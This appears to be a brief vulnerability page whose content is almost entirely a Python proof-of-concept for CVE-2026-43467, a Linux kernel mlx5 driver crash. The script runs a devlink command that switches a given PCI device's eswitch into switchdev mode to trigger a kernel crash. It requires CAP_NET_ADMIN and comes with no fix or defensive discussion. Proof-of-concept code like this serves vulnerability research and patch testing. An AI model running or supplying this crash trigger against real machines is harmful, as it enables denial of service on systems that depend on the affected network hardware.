CVE-2026-43467 Linux内核mlx5驱动崩溃漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-43467 # This script attempts to trigger the crash by switching to switchdev mode # on a device that does not support IPsec. import subprocess import sys def trigger_vulnerability(device_pci): try: # Command to switch eswitch mode to switchdev # This requires CAP_NET_ADMIN capability cmd = ["devlink", "dev", "eswitch", "set", device_pci, "mode", "switchdev"] print(f"[*] Executing: {' '.join(cmd)}") result = subprocess.run(cmd, capture_output=True, text=True) print(result.stdout) print(result.stderr) # If the system crashes here, the vulnerability is triggered except Exception as e: print(f"Error: {e}") if __name__ == "__main__": # Example PCI address, replace with actual vulnerable device # e.g., "pci/0000:03:00.0" if len(sys.argv) < 2: print("Usage: python3 poc.py <pci_device_address>") sys.exit(1) trigger_vulnerability(sys.argv[1])